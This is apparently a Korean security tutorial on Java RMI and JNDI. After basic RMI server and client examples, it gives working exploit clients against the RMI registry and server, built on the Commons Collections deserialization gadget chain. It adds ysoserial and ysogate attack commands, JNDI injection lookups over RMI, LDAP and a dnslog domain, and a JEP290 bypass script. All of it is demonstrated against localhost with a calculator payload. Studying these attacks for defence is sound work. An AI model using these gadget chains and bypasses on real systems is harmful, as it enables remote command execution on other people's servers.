RMI
RMI는 Remote Method Invocation의 약자로, 한 JVM에서 실행 중인 Java 프로그램이 다른 원격 JVM에서 실행되는 Java 프로그램을 호출하는 기술입니다. 이 원격 JVM은 동일한 서버 또는 다른 서버에 있을 수 있으며, 두 시스템 간에는 네트워크를 통해 통신합니다.
RMI는 JRMP(Java Remote Message Protocol)라는 통신 프로토콜을 사용하며, 이는 Java 전용으로 설계되었기 때문에 클라이언트와 서버 모두 Java로 작성되어야 합니다.
RMI는 세 가지 구성 요소로 이루어집니다: Server, Client, Registry. 이들의 상호작용 방식은 다음과 같습니다.
요약하자면, Server가 특정 클래스를 Registry에 바인딩하고, Client는 Registry에서 해당 클래스를 조회하여 요청을 보내며, Server는 해당 클래스를 직렬화하여 반환합니다. 클라이언트는 해당 클래스의 인터페이스(프록시)를 가지고 직렬화된 결과를 역직렬화하여 사용합니다.
다음은 간단한 예제입니다.
Server 측
RemoteObj.java
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
RemoteObjImpl.java
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // UnicastRemoteObject를 상속하지 않을 경우 수동으로 내보내야 함
}
@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
RMIServer.java
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 원격 객체 생성
RemoteObj remoteObj = new RemoteObjImpl();
// 레지스트리 생성
Registry registry = LocateRegistry.createRegistry(1099);
// 레지스트리에 객체 바인딩
registry.bind("remoteObj", remoteObj);
}
}
Client 측
RemoteObj.java
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
RMIClient.java
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}
위 코드는 RMI 통신의 기본적인 예제입니다. RMI 공격은 다음 세 가지 시나리오로 나뉩니다: Registry 공격, Server 공격, Client 공격.
Client가 Registry를 공격하는 경우
Registry와의 상호작용에는 다음과 같은 메서드들이 있습니다:
- 0 —– bind
- 1 —– list
- 2 —– lookup
- 3 —– rebind
- 4 —– unbind
list 제외 모든 메서드는 readObject 과정을 포함하므로 역직렬화 공격 가능합니다.
예제 환경에서 commons-collections3.2.1 의존성을 추가하여 cc1을 이용한 명령 실행 테스트를 진행했습니다.
bind 공격용 Client를 생성합니다:
package Client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); // 설명 2
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); // 설명 1
/*
AnnotationInvocationHandler
*/
return poc;
}
}
성공적으로 계산기 실행됨. rebind 공격도 동일하며, lookup의 경우 파라미터가 문자열만 허용되므로 리플렉션을 사용해 코드를 수정하여 공격 가능합니다:
package Client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import Server.RemoteObj;
public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// operations 가져오기
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// lookup 메서드를 위조하여 데이터 전송
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); // 설명 2
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); // 설명 1
/*
AnnotationInvocationHandler
*/
return poc;
}
}
Client가 Server를 공격하는 경우
Server의 서비스 로직이 숨겨져 있으므로, Server를 조작할 수 있다면 Client를 공격할 수 있습니다. 로컬에서 ysoserial을 사용하여 cc5를 이용해 공격합니다:
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
Client에서 직접 접근하면 명령이 실행됩니다:
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
Client가 Server를 공격하는 경우
Client가 Server에 파라미터로 전달된 객체를 직렬화하여 전송하고, Server에서 역직렬화 후 메서드에 전달하여 실행하는 방식입니다. 이 과정에서 Server에서 역직렬화가 발생하여 공격이 가능합니다. 예제 코드를 살펴봅니다:
Server 코드:
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("hello 메서드 호출됨");
return "Hello world";
}
public void evil(Object obj) throws RemoteException {
System.out.println("evil 메서드 호출됨, 전달된 객체: "+obj);
}
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}
Client 코드:
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
명령 실행 성공.
JNDI
JNDI는 Java Naming and Directory Interface의 약자로, 이름과 Java 객체를 매핑하는 인터페이스입니다.
JDK에서는 다음 네 가지 서비스를 지원합니다:
- LDAP: 경량 디렉터리 접근 프로토콜
- CORBA (Common Object Request Broker Architecture) 및 COS (Common Object Services) 이름 서비스
- RMI 레지스트리
- DNS 서비스
JNDI 인젝션 공격 절차를 도식화하면 다음과 같습니다.
JNDI + RMI 공격 구현
ysogate를 사용하여 서버 시작:
java -jar .\ysogate-0.4.0-all.jar -m jndi
클라이언트 시뮬레이션:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("rmi://127.0.0.1:1099/Basic/Command/calc");
}
}
JNDI + LDAP 공격 구현
ysogate를 사용하여 서버 시작:
java -jar .\ysogate-0.4.0-all.jar -m jndi
클라이언트 시뮬레이션:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:1389/Basic/Command/calc");
}
}
명령 실행 성공.
JNDI + DNS 탐지
JNDI 인젝션 취약점을 탐지하는 데 사용됩니다:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");
}
}
DNS 외부 전송 성공.
JEP290
다음 그림을 보면, 고버전 Java에서 LDAP은 공격 가능하지만 RMI는 불가능하다는 것을 알 수 있습니다. 이유는 Java가 JEP290 방어 메커니즘을 도입했으며, 이는 역직렬화 시 허용되는 클래스 목록을 정의함으로써 공격을 방지합니다:
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
따라서 JRMP 레벨에서 우회가 가능합니다. 아래 스크립트는 우회를 위한 예시입니다:
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
현재 이 우회 기법은 클라이언트에서 적용되는 것이므로 JNDI 인젝션 상황에서는 효과가 없음을 확인했습니다.